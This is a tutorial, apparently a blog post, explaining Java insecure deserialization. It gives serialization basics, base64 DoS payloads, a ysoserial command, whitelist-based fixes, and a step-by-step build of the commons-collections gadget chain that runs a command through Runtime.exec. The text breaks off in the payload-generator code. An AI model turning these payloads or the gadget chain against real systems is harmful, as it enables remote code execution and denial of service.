Insecure Deserialization in Java

I was always curious about how the actual remote code execution occurs during the Insecure Deserialization process. So I thought of giving a try to understand the known harmful gadgets from commons-collections-3.2.2.jar and develop the entire chain from scratch.

Serialization

Before directly jump into the gadget chain preparation, let’s try to understand the root cause of “Insecure Deserialization”.

Serializable is a marker interface. It has no data member and method. It is used to “mark” java classes so that objects of these classes may get a certain capability.

The fundamental purpose of serialization is to convert the data structure (i.e., state of an object) into a format (for Example: byte stream) that can be stored and transmitted over a network link for future consumption.

Example:

Serialize the User class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

public class User implements java.io.Serializable {
  private String name;
  private final String nickname;  // final => NO impact, WILL be serialized
  static int uid;  // static => NOT serialize this field, int default value = 0
  private transient String password; // transient => NOT serialize this field, String default value = null
  private double weight;
  private Car c;

  public User(String name, String nickname, int uid, String password, double weight) {
    this.name = name;
    this.nickname = nickname;
    this.uid = uid;
    this.password = password;
    this.weight = weight;
  }

  // use this constructor if we want to wrap another object
  public User(String name, String nickname, int uid, String password, double weight, Car c) {
    this.name = name;
    this.nickname = nickname;
    this.uid = uid;
    this.password = password;
    this.weight = weight;
    this.c = c;
  }

  // this method will be called while printing the object
  public String toString() {
    return name + " : " + nickname + " : " + uid + " : " + password + " : " + weight + " : " + c;
  }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

import java.io.*;

public class BasicSerialize {
    public static void main(String[] args) {
        try {
            User asinha = new User("bob", "shell", 2, "splunk", 80.5);  // using 1st constructor
            System.out.println(asinha); // equivalent to asinha.toString()

            String file_name = "serialized_object.ser";
            FileOutputStream fout = new FileOutputStream(file_name);
            ObjectOutputStream oout = new ObjectOutputStream(fout);
            oout.writeObject(asinha);
            oout.close();
            fout.close();
            System.out.println("User object is written to disk as " + file_name);

            System.out.println();

            // case 2: trying to serialize a Object whoes type is not User. For example: String
            String s = new String("Hello");
            System.out.println(s);
            String file_name2 = "serialized_object02.ser";
            FileOutputStream fout2 = new FileOutputStream(file_name2);
            ObjectOutputStream oout2 = new ObjectOutputStream(fout2);
            oout2.writeObject(s);
            oout2.close();
            fout2.close();
            System.out.println("String object is written to disk as " + file_name2);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

ser

Deserialization

Deserialization is the reverse process where the byte stream is used to recreate the actual Java object in memory.

Example:

Deserialize User class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import java.io.*;

public class BasicDeserialize {
    public static void main(String[] args) {
        try {
            // by default: enableUnsafeSerialization is set to FALSE, enabling it for Demo
            System.setProperty(
                    "org.apache.commons.collections.enableUnsafeSerialization",
                    "true");

            String fname = "../Serialization/serialized_object.ser";  // good object

            FileInputStream fin = new FileInputStream(fname);
            ObjectInputStream oin = new ObjectInputStream(fin);

            User u = (User) oin.readObject();  // actual deserialization process happens here
            oin.close();
            fin.close();
            System.out.println("The object was read from " + fname + ":");
            System.out.println(u);
            System.out.println();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

dser

Recreate the same asinha object in the memory.

However, due to transient and static keyword, the uid and password fields have only the default values.

The Bug

  1. The readObject method of java.io.ObjectInputStream is vulnerable.

  2. During the Deserialization process, the readObject() method is always being called, and it can construct any sort of Serializable object that can be found on the Java classpath before passing it back to the caller for the type_check.

  3. Exception can only happen if a type miss-match occurs between the return object and the expected object.

bad_dser

1
2

java.lang.ClassCastException: class java.lang.String cannot be cast to class User (java.lang.String is in module java.base of loader 'bootstrap'; User is in unnamed module of loader 'app')
    at BasicDeserialize.main(BasicDeserialize.java:20)

So if the constructed object happens to do anything dangerous during its construction, then it is too late to stop at the point of type checking of that returned object.

Impact

  • Remote code execution through property oriented programming(i.e Property Oriented Programming) / Gadget Chaining.
  • Bypass authorization / escalate privilege via Insecure Direct Object Reference if the object’s signature is not verified.
  • DoS like consuming the Heap memory.

Perform DoS Attack

Producer Application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.*;

public class BasicDosExploit {
    public static void main(String[] args) {
        try {
            Set<Object> dos_hashset = new HashSet<>();
            Set<Object> s1 = dos_hashset;
            Set<Object> s2 = new HashSet<>();
            for (int i = 0; i < 100; i++) {
                Set<Object> t1 = new HashSet<>();
                Set<Object> t2 = new HashSet<>();
                t1.add("foo");
                s1.add(t1);
                s1.add(t2);
                s2.add(t1);
                s2.add(t2);
                s1 = t1;
                s2 = t2;
            }

            // serializing the HashSet object
            byte[] userBytes = {};
            ByteArrayOutputStream bout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(bout);
            oout.writeObject(dos_hashset);
            oout.flush();

            userBytes = bout.toByteArray();
            String output = new String(Base64.getEncoder().encode(userBytes));

            oout.close();
            bout.close();
            System.out.println("\nThe base64 encoded object: ");
            System.out.println(output);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Consumer Application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import java.io.*;
import java.util.Base64;

public class BasicDosDeserialize {
    public static void main(String[] args) {
        // argument: base64 serialized obj as command line
        byte[] userBytes = new byte[0];
        if (args[0].startsWith("rO0AB")) {
            userBytes = Base64.getDecoder().decode(args[0].getBytes());
        } else {
            System.out.println("\nCaught an exception... Invalid object?\n");
            System.exit(0);
        }
        ByteArrayInputStream bIn = new ByteArrayInputStream(userBytes);
        try {
            ObjectInputStream oIn = new ObjectInputStream(bIn);
            System.out.println("here");
            User asinha = (User) oIn.readObject();  // actual deserialization

            oIn.close();
            bIn.close();
            System.out.println(asinha);

        } catch (IOException | ClassNotFoundException e) {
            System.out.println();
            e.printStackTrace();
            System.out.println("\nCaught an exception... Invalid object?\n");
        }

    }
}

Result:

If we supply that base64 encoded evil object through command_line argument, then during the Deserialization process, it consumes 100% CPU cycle.

Following interesting payloads will directly kill the process.

1
2
3
4
5
6
7
8
9
10
11
12
13

[+] payload 1:
cat ../../../../../../web-attacks/insecure_deserialization/java_dos/topolik/8gb-nested-hashmap
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABBAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABBAAAAAcHB4cHg=

[*] result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space

[+] payload 2:
cat ../../../../../../web-attacks/insecure_deserialization/java_dos/topolik/8gb-generic
rO0ABX1////3

[*] result:
java.io.InvalidObjectException: interface limit exceeded: 2147483639

How to Identify

  1. From Blackbox perceptive:

    • Check for AC ED 00 05 or rO0A (base64 encoded format) magic numbers in request / response, to know that the application deals with a serialized object.

  2. Content-type header of an HTTP response set to application/x-java-serialized-object.

  3. From Whitebox perceptive:

    • Search for the Java Serialization APIs such as ObjectInputStream with readObject keywords through out the code base and check how the ObjectInputStream is used.
    • Before the readObject() method call, does the code check for all expected classes from the serialized object through a whitelist.

How to Exploit

The black box angle uses ysoserial.jar and iterates different payloads to generate the serialized object.

1

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 gnome-calculator > /root/code-dev/java/demo_insecure_deserialization/Serialization/bad_serialized_object_ysoserial.ser

ysoserial

Alternate:

How to Fix

  • Don’t blindly accept serialized objects from untrusted sources. Implement integrity check / sign the serialized object to prevent hostile object creation/tampering.
  • Whitelist based approach to harden own java.io.ObjectInputStream:
    1. Create a HashSet using all excepted classes wrapped in the Object.
    2. Create a SafeObjectInputStream class by extending the ObjectInputStream class.
    3. Overwrite the resolveClass() method and check if the cls.getName() exists within the HashSet else throw InvalidClassException exception.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class SafeDeserialize {
    public static void main(String[] args) {
        try {
            // fix 1: a blacklist based approach where the InvokerTransformer is blocked
            // however this can be bypassed by discovering a new gadget chains
            // in current Java, by default enableUnsafeSerialization is set to 'false'
            System.setProperty(
                    "org.apache.commons.collections.enableUnsafeSerialization",
                    "true");
            // file name of the deserialized object
            String fname = "../Serialization/bad_serialized_object.ser";
            FileInputStream fin = new FileInputStream(fname);
            // fix 2: whitelist based approach, resolve the class from the serialized object and
            Set whitelist = new HashSet<String>(Arrays.asList("User"));
            ObjectInputStream oin = new SafeObjectInputStream(fin, whitelist);

            // expecting a User type obj, actual deserialization happens here
            User a = (User) oin.readObject();
            oin.close();
            fin.close();
            System.out.println("\nThe object was read from " + fname + ":");
            System.out.println(a);
            System.out.println();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

public class SafeObjectInputStream<Public> extends ObjectInputStream {
    public Set whitelist;

    public SafeObjectInputStream(InputStream inputStream, Set whitelist) throws IOException {
        super(inputStream);
        this.whitelist = whitelist;
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass cls)
            throws IOException, ClassNotFoundException
    {
        // check with expected whitelist classes
        if (!whitelist.contains(cls.getName())) {
            throw new InvalidClassException("Unsupported class => ", cls.getName());
        }
        return super.resolveClass(cls);
    }
}

fix

  • Virtual patching / JVM wide fix: Harden, all java.io.ObjectInputStream usage with an Agent through a blacklist. Example: contrast-rO0.
  • The readObject() method should be inside the try/catch block because any mismatch occurs between the serialized object and expected object during type_check, then the Exception has to be handled properly.
  • transient keyword is used not to serialize a variable like the password field. When JVM comes across transient or static keyword, it ignores the original value of the variable and saves the default value of that variable data type.
  • Some objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can’t be deserialized, a readObject() method should be declared (with a final modifier) which always throws an exception:
1
2
3

private final void readObject(ObjectInputStream in) throws java.io.IOException {
   throw new java.io.IOException("Cannot be deserialized");
}
  • You can use Java Security Manager to block specific classes.
  • Detective control: Log the exceptions and failures that happen during deserialization.

DoS is unavoidable if the expected object type is HashSet / HashMap / ArrayList.

How to inspect Java libraries and classpaths for Gadget Chains

Automated approach: To find the existence of one / more gadget chains, run Gadget Inspector on all libraries (i.e. commons-collections-3.2.2.jar) present in the Java classpaths.

1

java -Xmx2G -jar build/libs/gadget-inspector-all.jar /root/code-dev/java/JavaExternalLibs/commons-collections-3.2.2.jar

The tool found 1 gadget chains and saved the result in gadget-chains.txt.

Limitation of the tool:

  • Not always an exploit can be built from the result.
  • It can produce a false negative result.

Demystifying a Known Gadget Chain

  • Technique is called property oriented programming.
  • JRE System Libraries (default, available in every Java program):
    • HashMap
  • commons-collections-3.2.2.jar:
    • Transformer, ConstantTransformer, InvokerTransformer, ChainedTransformer
    • LazyMap, TiedMapEntry, HashBag

Command Execution using Runtime

First, let’s understand how we can execute a command in Java.

  • We can use the Runtime Object in Java to execute system command (i.e., Running the gnome-calculator)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

public class Concept01 {
    public static void main(String[] args) {
        try {
            // understand how to execute command in Java
            // exec() is not a static method so we can't call directly without creating an object
            // due to that Runtime.exec("/usr/bin/gnome-calculator"); // => will not NOT work

            // Runtime.getRuntime().exec("/usr/bin/gnome-calculator"); // compact form

            Runtime r = Runtime.getRuntime();  // step 1: need to get the runtime object
            r.exec("/usr/bin/gnome-calculator");  // step 2: call the exec() method with the runtime object

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Reflection API

What are the other ways we can execute a command in Java.

  • Reflection is an API that is used to examine or modify the behavior of methods, classes, interfaces at runtime.

  • Key Point: Through reflection API, we can invoke methods at runtime irrespective of the access specifier used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import java.lang.reflect.Method;
import java.lang.Runtime;

public class Concept02 {
    public static void main(String[] args) {
        try {
            // understanding the concept of Java reflection API
            Class<Runtime> cls = Runtime.class;
            Method m = cls.getMethod("getRuntime"); // examine a method of that Class dynamically

            // equivalent code: Runtime r = (Runtime) Runtime.getRuntime();
            Runtime r = (Runtime) m.invoke(null,null);  // executing the method to get a Runtime object
            // arg 1 => static class function -> null is passed instead of object
            // arg 2 => null means no argument

            r.exec("/usr/bin/gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Execute the gnome-calculator using Reflection API.

Transformer

  • Key Point: A Transformer transforms an input object to an output object through transform() method.
  • It doesn’t change the input object.
  • Mainly used for:
    1. Type conversion
    2. Extracting parts of an object
1
2
3
4
5
6
7
8
9
10
11

import org.apache.commons.collections.Transformer;
import org.apache.commons.lang3.StringUtils;

public class MyReverse implements Transformer {
    public Object transform(Object o) {
        String d = (String) o;
        System.out.println("executing transform method !!: " + d);
        new Exception().printStackTrace();
        return StringUtils.reverse(d);
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public class Concept03 {
    public static void main(String[] args) {
        try {
            // understanding the basic concept of transformer
            String s = "asinha";
            System.out.println(s);

            // objective is to reverse the string via transformer.transform() method
            MyReverse r_transformer = new MyReverse();  // MyReverse cls implements transformer
            System.out.println(r_transformer.transform(s));  // calling the transform method
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Passing a Stringobject to a Transformer and transform() method reverses the input String and finally returns the String object.

Different categories of Transformers:

ConstantTransformer

  • Key Point: Always returns the same object specified during initialization.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.lang.reflect.Method;
import java.util.HashSet;

public class Concept04 {
    public static void main(String[] args) {
        try {
            // concept of ConstantTransformer
            Transformer t = new ConstantTransformer(Runtime.class);  // it's transform() method always returns a reflection of java.lang.Runtime class

            HashSet h = new HashSet();
            Class cls = (Class) t.transform(h);
            System.out.println(cls);

            Dashboard d = new Dashboard(23.9, 8000);
            Class cls02 = (Class) t.transform(d);
            System.out.println(cls02);  // both cls and cls02 is same

            // we can perform command execution using reflection concept
            Method m = cls.getMethod("getRuntime"); // examine method dynamically
            // similar to Runtime r = (Runtime) Runtime.getRuntime();
            Runtime r = (Runtime) m.invoke(null,null);  // executing the method to get a Runtime object
            // arg 1 => static class function -> null is passed instead of object
            // arg 2 => null means no argument
            r.exec("/usr/bin/gnome-calculator");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Initializing a ConstantTransformar with Runtime.class so that we can call the transform() method with any object and expecting Runtime.class returns type.

InvokerTransformer

  • It takes a method name with optional parameters during initialization.
  • On transform, calls that method for the object provided with the parameters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Concept05 {
    public static void main(String[] args) {
        try {
            // concept of InvokerTransformer
            Dashboard d = new Dashboard(23.9, 8000);
            System.out.println(d.toString());

            Transformer t = new InvokerTransformer(
                    "toString",  // method name
                    null,  // toString() parameter types
                    null  // toString() argument
            );
            // invoke the toString() method of Dashboard object via InvokerTransformer's transform() method
            String out = (String) t.transform(d);  // on `transform`, calls that toString() for the Dashboard object
            System.out.println(out);  // same as d.toString()

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Invoke the toString() method of a Dashboard object via InvokerTransformer.

While initializing the InvokerTransformer, we need to install a method by supplying method_name, argument_type, and argument.

We can’t install any arbitrary method here. The method should be present in the same class whose object we are going to pass on the transform() method.

Command Execution by combining reflection API, ConstantTransformer and InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class Concept06 {
    public static void main(String[] args) {
        try {
            // combining the concept of reflection API, ConstantTransformer and InvokerTransformer

            // equivalent code: Class<Runtime> cls = Runtime.class;
            Transformer t0 = new ConstantTransformer(Runtime.class);
            String key = "any_key"; // we trigger with any Object by passing to the transform() method
            Class r0 = (Class) t0.transform(key); // transform() returns a reflection Object of java.lang.Runtime class

            System.out.println("object type: " + r0.getClass() + " | but basically it points to " + r0.getName());

            // equivalent code: Method m = cls.getMethod("getRuntime");
            Transformer t1 = new InvokerTransformer(
                    "getMethod",  // method name
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}
            );
           Method m = (Method) t1.transform(r0);
           System.out.println(m.getClass());

            // equivalent code: Runtime r = (Runtime) m.invoke(null,null);
            Transformer t2 = new InvokerTransformer(
                    "invoke",  // method name
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}
            );
            Runtime r = (Runtime) t2.transform(m);
            System.out.println(r.getClass());

            // equivalent code: r.exec("/usr/bin/gnome-calculator");
            Transformer t3 = new InvokerTransformer(
                    "exec",  // method name
                    new Class[]{String.class},
                    new String[]{"/usr/bin/gnome-calculator"}
            );
            t3.transform(r);

            // most compact format:
            t3.transform(t2.transform(t1.transform(t0.transform(key))));

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Open the gnome-calculator by chaining three transformers and executing the transform() method.

ChainedTransformer

  • Shorten the code for code execution.
  • Key Point: Takes an array of transformers during initialization and chains them carefully maintaining their execution order.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Concept07 {
    public static void main(String[] args) {
        try {
           // concept of ChainedTransformer
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"/usr/bin/gnome-calculator"}),
            };

            Transformer chainedTransformer = new ChainedTransformer(transformers);
            String key = "any_key"; // we trigger with any Object by passing to the transform() method
            chainedTransformer.transform(key);  // during the creation of the object in the memory the code execution occurs

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

  • In order to trigger the command execution, somehow we need to execute ChainedTransformer.transform("any_key") method.

  • However, we still need to understand a few more data structures to connect the dots.

HashMap

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable

  1. HashMap class contains values based on the key.
  2. Contains only unique keys.
  3. Maintains no order.
  4. Key Point: Returns null if there’s no value is present for the requested key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import java.util.HashMap;
import java.util.Map;

public class Concept08 {
    public static void main(String[] args) {
        try {
            // understanding HashMap
            HashMap<String, Integer> h = new HashMap<String, Integer>();
            // Map<String, Integer> h = new HashMap<String, Integer>();  // we can write this also
            h.put("asinha", 9);
            h.put("bob", 2);
            // inspect  the HashMap object status
            System.out.println(h);

            System.out.println(h.get("bob"));
            System.out.println(h.get("alice")); // returns null when NO key is found
            // inspect the HashMap object status
            System.out.println(h);  // note: when No Key is found, it does not generate any value / add the entry

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

LazyMap

  1. A type of Map which creates a value if there’s no value is present for the requested key.
  2. This generation is done through a transformation (i.e transformer.transform() method) on the requested Key.
  3. Key Point: lazyMap.get("invalid_key") calls transformer.transform("invalid_key") method when the key is not found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Concept09 {
    public static void main(String[] args) {
        try {
            // understanding LazyMap
            // HashMap implements the Map interface so we can create Map type object also
            Map<String, Integer> dict = new HashMap<String, Integer>();
            dict.put("asinha", 9);  // add an entry
            dict.put("bob", 2);  // add another entry

            // method definition => decorate(Map map, Transformer factory)
            Map lazymap = LazyMap.decorate(dict, new MyReverse());  // MyReverse implements transformer

            System.out.println(lazymap);  // inspect  the lazymap object status
            System.out.println(dict);  // inspect the underlying HashMap status: result => both are same
            // lazymap just acts as a wrapper around HashMap,
            // when no key is found then it generates the value and update HashMap with that new entry

            System.out.println(lazymap.get("asinha"));  // search with a valid key
            System.out.println(dict); // check the underlying Map status, no entry is added

            // invalid key => invokes the transform() method to generate a value through transform() method
            String out = (String) lazymap.get("alice");  // transform() method will be called
            System.out.println(out);
            System.out.println(dict);  // new entry has been added into the underlying HashMap

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20191120223312696

image-20191120222926864

image-20191120223152778

Command Execution by combining ChainedTransformer and LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Concept10 {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"/usr/bin/gnome-calculator"}),
            };

            Transformer chainedTransformer = new ChainedTransformer(transformers);

            Map hashMap = new HashMap();
            // Map lazyMap = LazyMap.decorate(hashMap, new MyReverse());
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

            String key = "invalid_key";
            // trying the add an entry to the HashMap
            lazyMap.get(key);  // this triggers the cmd execution
            System.out.println(hashMap);  // an entry wil be added into the HashMap

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

TiedMapEntry

  1. This can be used to enable a Map entry to make changes on the underlying map.
  2. tiedmapentry.getValue() method => lazymap.get(this.key) method.
  3. Key Point: tiedmapentry.hashcode() method => tiedmapentry.getValue() method.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Concept11 {
    public static void main(String[] args) {
        try {
            // understanding tiedmapentry
            // HashMap implements the Map interface so we can create Map type object also
            Map<String, Integer> dict = new HashMap<String, Integer>();
            dict.put("asinha", 9);  // add an entry
            dict.put("bob", 2);  // add another entry

            // method definition => decorate(Map map, Transformer factory)
            Map lazymap = LazyMap.decorate(dict, new MyReverse());  // MyReverse implements transformer
            System.out.println(dict);  // inspect the underlying HashMap status: result => both are same
            // lazymap just acts as a wrapper around HashMap,

            String valid_key = "asinha";
            TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, valid_key);
            System.out.println(tiedmapentry);  // inspect the tiedmapentry object status
            System.out.println(dict);  // inspect the underlying HashMap status

            String invalid_key = "invalid_key";
            TiedMapEntry tme = new TiedMapEntry(lazymap, invalid_key);  // any invalid key invokes transform() method

            int res = tme.hashCode();  // it intern calls tme.getValue()
            System.out.println(res);  // hashcode
            System.out.println(dict);  // a new entry is added to the underlying HashMap

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20191120230402262

image-20191120230500084

image-20191120230532545

HashBag

  1. A Collection that counts the number of times an object appears in the collection.
  2. Backed by an internal HashMap object.
  3. While adding any Object, first it’s hashcode() is calculated. Based on that hashcode/index, it updates the underlying HashMap table entry.
  4. Key Point: hashbag.add(tiedmapentry) method => tiedmapentry.hashcode() method.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Concept12 {
    public static void main(String[] args) {
        try {
            // understanding HashBag
            Map dict = new HashMap();
            dict.put("asinha", 9);
            Map lazymap = LazyMap.decorate(dict, new MyReverse());  // chainedTransformer.transform() will be called

            String invalid_key = "invalid_key";

            // Create a TiedMapEntry with the underlying map as our `lazyMap` and an invalid key
            TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, invalid_key);

            HashBag b = new HashBag();
            b.add(tiedmapentry);

            System.out.println(dict);  // a new entry is added to the underlying HashMap of tiedmapentry object
            // format => count: object
            System.out.println(b);  // key = tiedmapentry(it's HashMap is updated), value = count

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20191120232856545

Recap

  1. Create a TiedMapEntry with a underlying lazyMap and key is String -> ‘invalid_key’.
  1. This LazyMap is backed by an empty HashMap.
  2. This LazyMap can also use the factory class ChainedTransformer that generates a value dynamically through the transform() method when presented with an invalid key.
  3. Key Point: Finally it updates that entry(i.e key:value pair) into the HashMap.
  4. As the initial HashMap is empty, so any key supplied through TiedMapEntry can trigger the transform() method.

  1. Then add the tiedmapentry Object into a HashBag instance.

  2. hashbag.add(tiedmapentry) => tiedmapentry.hashcode() => lazymap.get(this.key) => chainedtransformer.transform(key) => Runtime.getRuntime().exec("/usr/bin/gnome-calculator");

Detailed Back-trace

1
2
3
4
5
6
7
8
9

add(Object object)  // IMP
    => add(Object object, int nCopies)
        => HashMap.get(Object)
            => int hash(Object key)
                => tidemapentry.hashCode();  // IMP
                    => tidemapentry.getValue();
                        => lazymap.get(this.key);  // IMP
                            => this.factory.transform(key);  // IMP
                                => Runtime.getRuntime().exec("/usr/bin/gnome-calculator")

The Problem

We can serialize this HashBag object to generate the payload but during the serialization process, lazymap.get("invalid_key") is called once. So the underlying HashMap is updated with the invalid_key:derived_value entry.

During deserialization process, when TiedMapEntry.hashcode() => lazymap.get(this.key) call occurs, then ChainedTransformer.transform(key) method will not be called because LazyMap does not need to derive the value for that key again through the transform() method. Underlying HashMap is already updated with the entry.

The Solution

The most important thing to taken care is

  1. During the serialization process, we need to wrap a TiedMapEntry Object inside a HashBag object, but somehow we need to stop the invocation of TiedMapEntry.hashcode() method when we add the TidemapEntry object into the HashBag's HashMap via add() method.
  2. If we can do this, then the underlying LazyMap's HashMap won’t get updated with the invalid_key:derived_value entry.

Strategy to overcome the challenge

  1. Create a HashBag instance and add any Object into it.
  2. This will invoke Object’s hashcode() method and based on the hashcode / index, the underlying HashBag's => HashMap table entry will be updated with key = Object and value / count = 1.
  3. Now using mokito library, modify that HashBag's => HashMap’s first entry in memory.
    • Replace that Object with TiedMapEntry Object.
    • We have added only one entry due to that we are modifying the first entry.
  4. As you can observe, till this point, TiedMapEntry.hashcode() is not called anywhere.
  5. Serialize this HashBag Object.
  6. During the deserialization process, the program tries to recreate the same object(i.e., HashBag) in the process memory.
  7. This HashBag => underlying HashMap table should be having one entry, where key= TiedMapEntry Object and count/ value =1. So, to recreate that entry inside the HashBag's HashMap’s table, the table’s index needs to be known. Due to this, TiedMapEntry.hashcode() is called to calculate that index dynamically.
  8. Here the key point is, TiedMapEntry.hashcode() method is getting called the first time, which triggers the code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.mockito.internal.util.reflection.Whitebox;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class Concept13 {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"/usr/bin/gnome-calculator"}),
            };

            Transformer chainedTransformer = new ChainedTransformer(transformers);

            Map hashMap = new HashMap();
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  // calls => chainedTransformer.transform()

            String key = "invalid_key";

            // Create a TiedMapEntry with the underlying hashmap as our `lazyMap` and invalid_key
            TiedMapEntry tidemapentry = new TiedMapEntry(lazyMap, key);
            HashBag hashBag = new HashBag();

            hashBag.add(new Object());

